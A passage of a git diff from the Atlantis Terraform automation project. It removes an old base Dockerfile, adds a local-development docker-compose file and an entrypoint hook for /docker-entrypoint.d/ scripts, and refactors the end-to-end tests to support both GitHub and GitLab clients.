-1,2 +0,0 @@ -FROM runatlantis/atlantis:latest -COPY atlantis /usr/local/bin/atlantis diff --git a/docker-base/Dockerfile b/docker-base/Dockerfile deleted file mode 100644 index 1b2908cc56..0000000000 --- a/docker-base/Dockerfile +++ /dev/null @@ -1,47 +0,0 @@ -# This Dockerfile builds our base image with gosu, dumb-init and the atlantis -# user. We split this from the main Dockerfile because this base doesn't change -# and also because it kept breaking the build due to flakiness. -FROM alpine:3.12 -LABEL authors="Anubhav Mishra, Luke Kysow" - -# We use gosu to step down from root and run as the atlantis user so we need -# to create that user and group. -# We add the atlantis user to the root group and make its home directory -# owned by root so that OpenShift users can use /home/atlantis as their -# data dir because OpenShift runs containers as a random uid that's part of -# the root group. -RUN addgroup atlantis && \ - adduser -S -G atlantis atlantis && \ - adduser atlantis root && \ - chown atlantis:root /home/atlantis/ && \ - chmod g=u /home/atlantis/ && \ - chmod g=u /etc/passwd - -# Install dumb-init and gosu. -ENV DUMB_INIT_VERSION=1.2.2 -ENV GOSU_VERSION=1.12 -RUN apk add --no-cache ca-certificates gnupg curl git git-lfs unzip bash openssh libcap openssl && \ - curl -L -s --output /bin/dumb-init "https://github.com/Yelp/dumb-init/releases/download/v${DUMB_INIT_VERSION}/dumb-init_${DUMB_INIT_VERSION}_amd64" && \ - chmod +x /bin/dumb-init && \ - mkdir -p /tmp/build && \ - cd /tmp/build && \ - curl -L -s --output gosu "https://github.com/tianon/gosu/releases/download/${GOSU_VERSION}/gosu-amd64" && \ - curl -L -s --output gosu.asc "https://github.com/tianon/gosu/releases/download/${GOSU_VERSION}/gosu-amd64.asc" && \ - for server in $(shuf -e ipv4.pool.sks-keyservers.net \ - hkp://p80.pool.sks-keyservers.net:80 \ - keyserver.ubuntu.com \ - hkp://keyserver.ubuntu.com:80 \ - pgp.mit.edu) ; do \ - gpg --keyserver "$server" --recv-keys B42F6819007F00F88E364FD4036A9C25BF357DD4 && break || : ; \ - done && \ - gpg --batch --verify gosu.asc gosu && \ - chmod +x gosu && \ - cp gosu /bin && \ - cd /tmp && \ - rm -rf /tmp/build && \ - apk del gnupg openssl && \ - rm -rf /root/.gnupg && rm -rf /var/cache/apk/* - -# Set up nsswitch.conf for Go's "netgo" implementation -# - https://github.com/golang/go/blob/go1.9.1/src/net/conf.go#L194-L275 -RUN [ ! -e /etc/nsswitch.conf ] && echo 'hosts: files dns' > /etc/nsswitch.conf diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000000..ba9aeaf88b --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,39 @@ +# Note: This file is only used for Atlantis local development +services: + ngrok: + image: ngrok/ngrok:latest@sha256:0dbf30ec036f2369d3b9018a8287aa2414deb90ccf44536cb2fcfd238b3d4f70 + ports: + - 4040:4040 + command: + - "http" + - "atlantis:4141" + env_file: + - atlantis.env + depends_on: + - atlantis + redis: + image: redis:7.4-alpine@sha256:ee9e8748ace004102a267f7b8265dab2c618317df22507b89d16a8add7154273 + restart: always + ports: + - 6379:6379 + command: redis-server --save 20 1 --loglevel warning --requirepass test123 + volumes: + - redis:/data + atlantis: + depends_on: + - redis + build: + context: . + dockerfile: Dockerfile.dev + ports: + - 4141:4141 + volumes: + - ${HOME}/.ssh:/.ssh:ro + - ${PWD}:/atlantis/src:ro + # Contains the flags that atlantis uses in env var form + env_file: + - atlantis.env + +volumes: + redis: + driver: local diff --git a/docker-entrypoint.sh b/docker-entrypoint.sh index 572b270d42..4f307e1666 100755 --- a/docker-entrypoint.sh +++ b/docker-entrypoint.sh @@ -1,11 +1,17 @@ -#!/bin/dumb-init /bin/sh +#!/usr/bin/env -S dumb-init --single-child /bin/sh + +# dumb-init is run in single child mode. By default dumb-init will forward +# interrupts to all child processes, causing Terraform to cancel and Terraform +# providers to exit uncleanly. We forward the signal to Atlantis only, allowing +# it to trap the interrupt, and exit gracefully. + set -e # Modified: https://github.com/hashicorp/docker-consul/blob/2c2873f9d619220d1eef0bc46ec78443f55a10b5/0.X/docker-entrypoint.sh # If the user is trying to run atlantis directly with some arguments, then # pass them to atlantis. -if [ "${1:0:1}" = '-' ]; then +if [ "$(echo "${1}" | cut -c1)" = "-" ]; then set -- atlantis "$@" fi @@ -23,24 +29,35 @@ if atlantis help "$1" 2>&1 | grep -q "atlantis $1"; then fi # If the current uid running does not have a user create one in /etc/passwd -if ! whoami &> /dev/null; then +if ! whoami > /dev/null 2>&1; then if [ -w /etc/passwd ]; then echo "${USER_NAME:-default}:x:$(id -u):0:${USER_NAME:-default} user:/home/atlantis:/sbin/nologin" >> /etc/passwd fi fi -# If we're running as root and we're trying to execute atlantis then we use -# gosu to step down from root and run as the atlantis user. -# In OpenShift, containers are run as a random users so we don't need to use gosu. -if [[ $(id -u) == 0 ]] && [[ "$1" = 'atlantis' ]]; then - # If requested, set the capability to bind to privileged ports before - # we drop to the non-root user. Note that this doesn't work with all - # storage drivers (it won't work with AUFS). - if [ ! -z ${ATLANTIS_ALLOW_PRIVILEGED_PORTS+x} ]; then - setcap "cap_net_bind_service=+ep" /bin/atlantis - fi - - set -- gosu atlantis "$@" +# If we need to install some tools at entrypoint level, we can add shell scripts +# in folder /docker-entrypoint.d/ with extension .sh and this scripts will be executed +# at entrypount level. +if /usr/bin/find "/docker-entrypoint.d/" -mindepth 1 -maxdepth 1 -type f -print -quit 2>/dev/null | read v; then + echo "/docker-entrypoint.d/ is not empty, will attempt to perform script execition" + echo "Looking for shell scripts in /docker-entrypoint.d/" + find "/docker-entrypoint.d/" -follow -type f -print | sort -V | while read -r f; do + case "$f" in + *.sh) + if [ -x "$f" ]; then + echo "Launching $f"; + "$f" + else + # warn on shell scripts without exec bit + echo "Ignoring $f, not executable"; + fi + ;; + *) echo "Ignoring $f";; + esac + done + echo "Configuration complete; ready for start up" +else + echo "No files found in /docker-entrypoint.d/, skipping" fi exec "$@" diff --git a/docs/adr/0001-record-architecture-decisions.md b/docs/adr/0001-record-architecture-decisions.md new file mode 100644 index 0000000000..b0dfda2419 --- /dev/null +++ b/docs/adr/0001-record-architecture-decisions.md @@ -0,0 +1,20 @@ +# 1. Record architecture decisions + +Date: 2023-05-09 + +## Status + +Accepted + +## Context + +We need to record the architectural decisions made for Atlantis. The project is a very decentralized project. It suffers from frequent one-timer contributors and an ever-changing team of maintainers. +By utilizing the ADR process, we can improve who decisions are made and bring transparency to past decisions to assist future contributors and maintainers to confidently steer the project. + +## Decision + +We will use Architecture Decision Records, as [described by Michael Nygard](http://thinkrelevance.com/blog/2011/11/15/documenting-architecture-decisions). + +## Consequences + +See Michael Nygard's article, linked above. For a lightweight ADR toolset, see Nat Pryce's [adr-tools](https://github.com/npryce/adr-tools) before submitting a new ADR. diff --git a/e2e/.gitconfig b/e2e/.gitconfig deleted file mode 100644 index 3424a0e076..0000000000 --- a/e2e/.gitconfig +++ /dev/null @@ -1,3 +0,0 @@ -[user] - name = atlantisbot - email = lkysow+atlantis@gmail.com \ No newline at end of file diff --git a/e2e/README.md b/e2e/README.md new file mode 100644 index 0000000000..fcaec9ad74 --- /dev/null +++ b/e2e/README.md @@ -0,0 +1,15 @@ +# End to end tests + +Tests run against actual repos in various VCS providers + +## Configuration + +### Gitlab + +User: https://gitlab.com/atlantis-tests +Email: maintainers@runatlantis.io + +To rotate token: +1. Login to account +2. Select avatar -> Edit Profile -> Access tokens -> Add new token +3. Create a new token, and upload it to Github Action as environment secret `ATLANTIS_GITLAB_TOKEN`. diff --git a/e2e/e2e.go b/e2e/e2e.go index 05cddd35e8..079c329df2 100644 --- a/e2e/e2e.go +++ b/e2e/e2e.go @@ -14,30 +14,25 @@ package main import ( + "context" "fmt" - "io/ioutil" "log" "os" "os/exec" "time" - - "github.com/google/go-github/v28/github" ) type E2ETester struct { - githubClient *GithubClient - repoURL string - ownerName string - repoName string + vcsClient VCSClient hookID int64 cloneDirRoot string projectType Project } type E2EResult struct { - projectType string - githubPullRequestURL string - testResult string + projectType string + pullRequestURL string + testResult string } var testFileData = ` @@ -46,7 +41,7 @@ resource "null_resource" "hello" { ` // nolint: gosec -func (t *E2ETester) Start() (*E2EResult, error) { +func (t *E2ETester) Start(ctx context.Context) (*E2EResult, error) { cloneDir := fmt.Sprintf("%s/%s-test", t.cloneDirRoot, t.projectType.Name) branchName := fmt.Sprintf("%s-%s", t.projectType.Name, time.Now().Format("20060102150405")) testFileName := fmt.Sprintf("%s.tf", t.projectType.Name) @@ -59,26 +54,24 @@ func (t *E2ETester) Start() (*E2EResult, error) { return e2eResult, fmt.Errorf("failed to create dir %q prior to cloning, attempting to continue: %v", cloneDir, err) } - cloneCmd := exec.Command("git", "clone", t.repoURL, cloneDir) - // git clone the repo - log.Printf("git cloning into %q", cloneDir) - if output, err := cloneCmd.CombinedOutput(); err != nil { - return e2eResult, fmt.Errorf("failed to clone repository: %v: %s", err, string(output)) + err := t.vcsClient.Clone(cloneDir) + if err != nil { + return e2eResult, err } // checkout a new branch for the project log.Printf("checking out branch %q", branchName) checkoutCmd := exec.Command("git", "checkout", "-b", branchName) checkoutCmd.Dir = cloneDir - if err := checkoutCmd.Run(); err != nil { - return e2eResult, fmt.Errorf("failed to git checkout branch %q: %v", branchName, err) + if output, err := checkoutCmd.CombinedOutput(); err != nil { + return e2eResult, fmt.Errorf("failed to git checkout branch %q: %v: %s", branchName, err, string(output)) } // write a file for running the tests randomData := []byte(testFileData) filePath := fmt.Sprintf("%s/%s/%s", cloneDir, t.projectType.Name, testFileName) log.Printf("creating file to commit %q", filePath) - err := ioutil.WriteFile(filePath, randomData, 0644) + err = os.WriteFile(filePath, randomData, 0644) if err != nil { return e2eResult, fmt.Errorf("couldn't write file %s: %v", filePath, err) } @@ -87,16 +80,15 @@ func (t *E2ETester) Start() (*E2EResult, error) { log.Printf("git add file %q", filePath) addCmd := exec.Command("git", "add", filePath) addCmd.Dir = cloneDir - if err = addCmd.Run(); err != nil { - return e2eResult, fmt.Errorf("failed to git add file %q: %v", filePath, err) + if output, err := addCmd.CombinedOutput(); err != nil { + return e2eResult, fmt.Errorf("failed to git add file %q: %v: %s", filePath, err, string(output)) } // commit the file log.Printf("git commit file %q", filePath) commitCmd := exec.Command("git", "commit", "-am", "test commit") commitCmd.Dir = cloneDir - var output []byte - if output, err = commitCmd.CombinedOutput(); err != nil { + if output, err := commitCmd.CombinedOutput(); err != nil { return e2eResult, fmt.Errorf("failed to run git commit in %q: %v: %v", cloneDir, err, string(output)) } @@ -104,29 +96,30 @@ func (t *E2ETester) Start() (*E2EResult, error) { log.Printf("git push branch %q", branchName) pushCmd := exec.Command("git", "push", "origin", branchName) pushCmd.Dir = cloneDir - if err = pushCmd.Run(); err != nil { - return e2eResult, fmt.Errorf("failed to git push branch %q: %v", branchName, err) + if output, err := pushCmd.CombinedOutput(); err != nil { + return e2eResult, fmt.Errorf("failed to git push branch %q: %v: %s", branchName, err, string(output)) } // create a new pr title := fmt.Sprintf("This is a test pull request for atlantis e2e test for %s project type", t.projectType.Name) - head := fmt.Sprintf("%s:%s", t.ownerName, branchName) - body := "" - base := "master" - newPullRequest := &github.NewPullRequest{Title: &title, Head: &head, Body: &body, Base: &base} + url, pullId, err := t.vcsClient.CreatePullRequest(ctx, title, branchName) - pull, _, err := t.githubClient.client.PullRequests.Create(t.githubClient.ctx, t.ownerName, t.repoName, newPullRequest) if err != nil { - return e2eResult, fmt.Errorf("error while creating new pull request: %v", err) + return e2eResult, err } // set pull request url - e2eResult.githubPullRequestURL = pull.GetHTMLURL() + e2eResult.pullRequestURL = url - log.Printf("created pull request %s", pull.GetHTMLURL()) + log.Printf("created pull request %s", url) // defer closing pull request and delete remote branch - defer cleanUp(t, pull.GetNumber(), branchName) // nolint: errcheck + defer func() { + err := cleanUp(ctx, t, pullId, branchName) + if err != nil { + log.Printf("Failed to cleanup: %v", err) + } + }() // wait for atlantis to respond to webhook and autoplan. time.Sleep(2 * time.Second) @@ -135,9 +128,9 @@ func (t *E2ETester) Start() (*E2EResult, error) { // waiting for atlantis run and finish maxLoops := 20 i := 0 - for ; i < maxLoops && checkStatus(state); i++ { + for ; i < maxLoops && t.vcsClient.IsAtlantisInProgress(state); i++ { time.Sleep(2 * time.Second) - state, _ = getAtlantisStatus(t, branchName) + state, _ = t.vcsClient.GetAtlantisStatus(ctx, branchName) if state == "" { log.Println("atlantis run hasn't started") continue @@ -151,52 +144,26 @@ func (t *E2ETester) Start() (*E2EResult, error) { log.Printf("atlantis run finished with status %q", state) e2eResult.testResult = state // check if atlantis run was a success - if state != "success" { + if !t.vcsClient.DidAtlantisSucceed(state) { return e2eResult, fmt.Errorf("atlantis run project type %q failed with %q status", t.projectType.Name, state) } return e2eResult, nil } -func getAtlantisStatus(t *E2ETester, branchName string) (string, error) { - // check repo status - combinedStatus, _, err := t.githubClient.client.Repositories.GetCombinedStatus(t.githubClient.ctx, t.ownerName, t.repoName, branchName, nil) - if err != nil { - return "", err - } - - for _, status := range combinedStatus.Statuses { - if status.GetContext() == "atlantis/plan" { - return status.GetState(), nil - } - } - - return "", nil -} - -func checkStatus(state string) bool { - for _, s := range []string{"success", "error", "failure"} { - if state == s { - return false - } - } - return true -} - -func cleanUp(t *E2ETester, pullRequestNumber int, branchName string) error { +func cleanUp(ctx context.Context, t *E2ETester, pullRequestNumber int, branchName string) error { // clean up - pullClosed, _, err := t.githubClient.client.PullRequests.Edit(t.githubClient.ctx, t.ownerName, t.repoName, pullRequestNumber, &github.PullRequest{State: github.String("closed")}) + err := t.vcsClient.ClosePullRequest(ctx, pullRequestNumber) if err != nil { - return fmt.Errorf("error while closing new pull request: %v", err) + return err } - log.Printf("closed pull request %d", pullClosed.GetNumber()) + log.Printf("closed pull request %d", pullRequestNumber) - deleteBranchName := fmt.Sprintf("%s/%s", "heads", branchName) - _, err = t.githubClient.client.Git.DeleteRef(t.githubClient.ctx, t.ownerName, t.repoName, deleteBranchName) + err = t.vcsClient.DeleteBranch(ctx, branchName) if err != nil { - return fmt.Errorf("error while deleting branch %s: %v", deleteBranchName, err) + return fmt.Errorf("error while deleting branch %s: %v", branchName, err) } - log.Printf("deleted branch %s", deleteBranchName) + log.Printf("deleted branch %s", branchName) return nil } diff --git a/e2e/github.go b/e2e/github.go index b260ff3c62..bc752f4a14 100644 --- a/e2e/github.go +++ b/e2e/github.go @@ -15,12 +15,163 @@ package main import ( "context" + "fmt" + "log" + "os" + "os/exec" + "strings" - "github.com/google/go-github/v28/github" + "github.com/google/go-github/v71/github" ) type GithubClient struct { - client *github.Client - ctx context.Context - username string + client *github.Client + username string + ownerName string + repoName string + token string +} + +func NewGithubClient() *GithubClient { + + githubUsername := os.Getenv("ATLANTIS_GH_USER") + if githubUsername == "" { + log.Fatalf("ATLANTIS_GH_USER cannot be empty") + } + githubToken := os.Getenv("ATLANTIS_GH_TOKEN") + if githubToken == "" { + log.Fatalf("ATLANTIS_GH_TOKEN cannot be empty") + } + ownerName := os.Getenv("GITHUB_REPO_OWNER_NAME") + if ownerName == "" { + ownerName = "runatlantis" + } + repoName := os.Getenv("GITHUB_REPO_NAME") + if repoName == "" { + repoName = "atlantis-tests" + } + + // create github client + tp := github.BasicAuthTransport{ + Username: strings.TrimSpace(githubUsername), + Password: strings.TrimSpace(githubToken), + } + ghClient := github.NewClient(tp.Client()) + + return &GithubClient{ + client: ghClient, + username: githubUsername, + ownerName: ownerName, + repoName: repoName, + token: githubToken, + } + +} + +func (g GithubClient) Clone(cloneDir string) error { + + repoURL := fmt.Sprintf("https://%s:%s@github.com/%s/%s.git", g.username, g.token, g.ownerName, g.repoName) + cloneCmd := exec.Command("git", "clone", repoURL, cloneDir) + // git clone the repo + log.Printf("git cloning into %q", cloneDir) + if output, err := cloneCmd.CombinedOutput(); err != nil { + return fmt.Errorf("failed to clone repository: %v: %s", err, string(output)) + } + return nil +} + +func (g GithubClient) CreateAtlantisWebhook(ctx context.Context, hookURL string) (int64, error) { + contentType := "json" + hookConfig := &github.HookConfig{ + ContentType: &contentType, + URL: &hookURL, + } + // create atlantis hook + atlantisHook := &github.Hook{ + Events: []string{"issue_comment", "pull_request", "push"}, + Config: hookConfig, + Active: github.Ptr(true), + } + + hook, _, err := g.client.Repositories.CreateHook(ctx, g.ownerName, g.repoName, atlantisHook) + if err != nil { + return 0, err + } + log.Println(hook.GetURL()) + + return hook.GetID(), nil +} + +func (g GithubClient) DeleteAtlantisHook(ctx context.Context, hookID int64) error { + _, err := g.client.Repositories.DeleteHook(ctx, g.ownerName, g.repoName, hookID) + if err != nil { + return err + } + log.Printf("deleted webhook id %d", hookID) + + return nil +} + +func (g GithubClient) CreatePullRequest(ctx context.Context, title, branchName string) (string, int, error) { + head := fmt.Sprintf("%s:%s", g.ownerName, branchName) + body := "" + base := "main" + newPullRequest := &github.NewPullRequest{Title: &title, Head: &head, Body: &body, Base: &base} + + pull, _, err := g.client.PullRequests.Create(ctx, g.ownerName, g.repoName, newPullRequest) + if err != nil { + return "", 0, fmt.Errorf("error while creating new pull request: %v", err) + } + + // set pull request url + return pull.GetHTMLURL(), pull.GetNumber(), nil + +} + +func (g GithubClient) GetAtlantisStatus(ctx context.Context, branchName string) (string, error) { + // check repo status + combinedStatus, _, err := g.client.Repositories.GetCombinedStatus(ctx, g.ownerName, g.repoName, branchName, nil) + if err != nil { + return "", err + } + + for _, status := range combinedStatus.Statuses { + if status.GetContext() == "atlantis/plan" { + return status.GetState(), nil + } + } + + return "", nil +} + +func (g GithubClient) ClosePullRequest(ctx context.Context, pullRequestNumber int) error { + // clean up + _, _, err := g.client.PullRequests.Edit(ctx, g.ownerName, g.repoName, pullRequestNumber, &github.PullRequest{State: github.Ptr("closed")}) + if err != nil { + return fmt.Errorf("error while closing new pull request: %v", err) + } + return nil + +} +func (g GithubClient) DeleteBranch(ctx context.Context, branchName string) error { + + deleteBranchName := fmt.Sprintf("%s/%s", "heads", branchName) + _, err := g.client.Git.DeleteRef(ctx, g.ownerName, g.repoName, deleteBranchName) + if err != nil { + return fmt.Errorf("error while deleting branch %s: %v", branchName, err) + } + return nil +} + +func (g GithubClient) IsAtlantisInProgress(state string) bool { + for _, s := range []string{"success", "error", "failure"} { + if state == s { + return false + } + } + return true +} + +func (g GithubClient) DidAtlantisSucceed(state string) bool { + return state == "success" } diff --git a/e2e/gitlab.go b/e2e/gitlab.go new file mode 100644 index 0000000000..7c9843ff2d --- /dev/null +++ b/e2e/gitlab.go @@ -0,0 +1,181 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. + +package main + +import ( + "context" + "fmt" + "log" + "os" + "os/exec" + + gitlab "gitlab.com/gitlab-org/api/client-go" +) + +type GitlabClient struct { + client *gitlab.Client + username string + ownerName string + repoName string + token string + projectId int + // A mapping from branch names to MR IDs + branchToMR map[string]int +} + +func NewGitlabClient() *GitlabClient { + + gitlabUsername := os.Getenv("ATLANTIS_GITLAB_USER") + if gitlabUsername == "" { + log.Fatalf("ATLANTIS_GITLAB_USER cannot be empty") + } + gitlabToken := os.Getenv("ATLANTIS_GITLAB_TOKEN") + if gitlabToken == "" { + log.Fatalf("ATLANTIS_GITLAB_TOKEN cannot be empty") + } + ownerName := os.Getenv("GITLAB_REPO_OWNER_NAME") + if ownerName == "" { + ownerName = "runatlantis" + } + repoName := os.Getenv("GITLAB_REPO_NAME") + if repoName == "" { + repoName = "atlantis-tests" + } + + gitlabClient, err := gitlab.NewClient(gitlabToken) + if err != nil { + log.Fatalf("Failed to create client: %v", err) + } + project, _, err := gitlabClient.Projects.GetProject(fmt.Sprintf("%s/%s", ownerName, repoName), &gitlab.GetProjectOptions{}) + if err != nil { + log.Fatalf("Failed to find project: %v", err) + } + + return &GitlabClient{ + client: gitlabClient, + username: gitlabUsername, + ownerName: ownerName, + repoName: repoName, + token: gitlabToken, + projectId: project.ID, + branchToMR: make(map[string]int), + } + +} + +func (g GitlabClient) Clone(cloneDir string) error { + + repoURL := fmt.Sprintf("https://%s:%s@gitlab.com/%s/%s.git", g.username, g.token, g.ownerName, g.repoName) + cloneCmd := exec.Command("git", "clone", repoURL, cloneDir) + // git clone the repo + log.Printf("git cloning into %q", cloneDir) + if output, err := cloneCmd.CombinedOutput(); err != nil { + return fmt.Errorf("failed to clone repository: %v: %s", err, string(output)) + } + return nil + +} + +func (g GitlabClient) CreateAtlantisWebhook(ctx context.Context, hookURL string) (int64, error) { + hook, _, err := g.client.Projects.AddProjectHook(g.projectId, &gitlab.AddProjectHookOptions{ + URL: &hookURL, + IssuesEvents: gitlab.Ptr(true), + MergeRequestsEvents: gitlab.Ptr(true), + PushEvents: gitlab.Ptr(true), + }) + if err != nil { + return 0, err + } + log.Printf("created webhook for %s", hook.URL) + return int64(hook.ID), err +} + +func (g GitlabClient) DeleteAtlantisHook(ctx context.Context, hookID int64) error { + _, err := g.client.Projects.DeleteProjectHook(g.projectId, int(hookID)) + if err != nil { + return err + } + log.Printf("deleted webhook id %d", hookID) + return nil +} + +func (g GitlabClient) CreatePullRequest(ctx context.Context, title, branchName string) (string, int, error) { + + mr, _, err := g.client.MergeRequests.CreateMergeRequest(g.projectId, &gitlab.CreateMergeRequestOptions{ + Title: gitlab.Ptr(title), + SourceBranch: gitlab.Ptr(branchName), + TargetBranch: gitlab.Ptr("main"), + }) + if err != nil { + return "", 0, fmt.Errorf("error while creating new pull request: %v", err) + } + g.branchToMR[branchName] = mr.IID + return mr.WebURL, mr.IID, nil + +} + +func (g GitlabClient) GetAtlantisStatus(ctx context.Context, branchName string) (string, error) { + + pipelineInfos, _, err := g.client.MergeRequests.ListMergeRequestPipelines(g.projectId, g.branchToMR[branchName]) + if err != nil { + return "", err + } + // Possible todo: determine which status in the pipeline we care about? + if len(pipelineInfos) != 1 { + return "", fmt.Errorf("unexpected pipelines: %d", len(pipelineInfos)) + } + pipelineInfo := pipelineInfos[0] + pipeline, _, err := g.client.Pipelines.GetPipeline(g.projectId, pipelineInfo.ID) + if err != nil { + return "", err + } + + return pipeline.Status, nil +} + +func (g GitlabClient) ClosePullRequest(ctx context.Context, pullRequestNumber int) error { + // clean up + _, _, err := g.client.MergeRequests.UpdateMergeRequest(g.projectId, pullRequestNumber, &gitlab.UpdateMergeRequestOptions{ + StateEvent: gitlab.Ptr("close"), + }) + if err != nil { + return fmt.Errorf("error while closing new pull request: %v", err) + } + return nil + +} +func (g GitlabClient) DeleteBranch(ctx context.Context, branchName string) error { + _, err := g.client.Branches.DeleteBranch(g.projectId, branchName) + + if err != nil { + return fmt.Errorf("error while deleting branch %s: %v", branchName, err) + } + return nil + +} + +func (g GitlabClient) IsAtlantisInProgress(state string) bool { + // From https://docs.gitlab.com/api/pipelines/ + // created, waiting_for_resource, preparing, pending, running, success, failed, canceled, skipped, manual, scheduled + for _, s := range []string{"success", "failed", "canceled", "skipped"} { + if state == s { + return false + } + } + return true +} + +func (g GitlabClient) DidAtlantisSucceed(state string) bool { + return state == "success" +} diff --git a/e2e/go.mod b/e2e/go.mod index 92a26f85b9..8820098411 100644 --- a/e2e/go.mod +++ b/e2e/go.mod @@ -1,8 +1,19 @@ module github.com/runatlantis/atlantis/e2e -go 1.14 +go 1.24.4 require ( - github.com/google/go-github/v28 v28.0.0 - github.com/hashicorp/go-multierror v1.0.0 + github.com/google/go-github/v71 v71.0.0 + github.com/hashicorp/go-multierror v1.1.1 + gitlab.com/gitlab-org/api/client-go v0.118.0 +) + +require ( + github.com/google/go-querystring v1.1.0 // indirect + github.com/hashicorp/errwrap v1.1.0 // indirect + github.com/hashicorp/go-cleanhttp v0.5.2 // indirect + github.com/hashicorp/go-retryablehttp v0.7.7 // indirect + golang.org/x/oauth2 v0.27.0 // indirect + golang.org/x/sys v0.28.0 // indirect + golang.org/x/time v0.3.0 // indirect ) diff --git a/e2e/go.sum b/e2e/go.sum index 694d623743..357abc64f4 100644 --- a/e2e/go.sum +++ b/e2e/go.sum @@ -1,17 +1,41 @@ -github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/google/go-github/v28 v28.0.0 h1:+UjHI4+1W/vsXR4jJBWt0ZA74XHbvt5yBAvsf1M3bgM= -github.com/google/go-github/v28 v28.0.0/go.mod h1:+5GboIspo7F0NG2qsvfYh7en6F3EK37uyqv+c35AR3s= -github.com/google/go-querystring v1.0.0 h1:Xkwi/a1rcvNg1PPYe5vI8GbeBY/jrVuDX5ASuANWTrk= -github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= -github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM= +github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/google/go-github/v71 v71.0.0 h1:Zi16OymGKZZMm8ZliffVVJ/Q9YZreDKONCr+WUd0Z30= +github.com/google/go-github/v71 v71.0.0/go.mod h1:URZXObp2BLlMjwu0O8g4y6VBneUj2bCHgnI8FfgZ51M= +github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= +github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/go-multierror v1.0.0 h1:iVjPR7a6H0tWELX5NxNe7bYopibicUzc7uPribsnS6o= -github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2 h1:VklqNMn3ovrHsnt90PveolxSbWFaJdECFbxSq0Mqo2M= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= +github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= +github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= +github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= +github.com/hashicorp/go-hclog v1.6.3 h1:Qr2kF+eVWjTiYmU7Y31tYlP1h0q/X3Nl3tPGdaB11/k= +github.com/hashicorp/go-hclog v1.6.3/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= +github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= +github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= +github.com/hashicorp/go-retryablehttp v0.7.7 h1:C8hUCYzor8PIfXHa4UrZkU4VvK8o9ISHxT2Q8+VepXU= +github.com/hashicorp/go-retryablehttp v0.7.7/go.mod h1:pkQpWZeYWskR+D1tR2O5OcBFOxfA7DoAO6xtkuQnHTk= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod 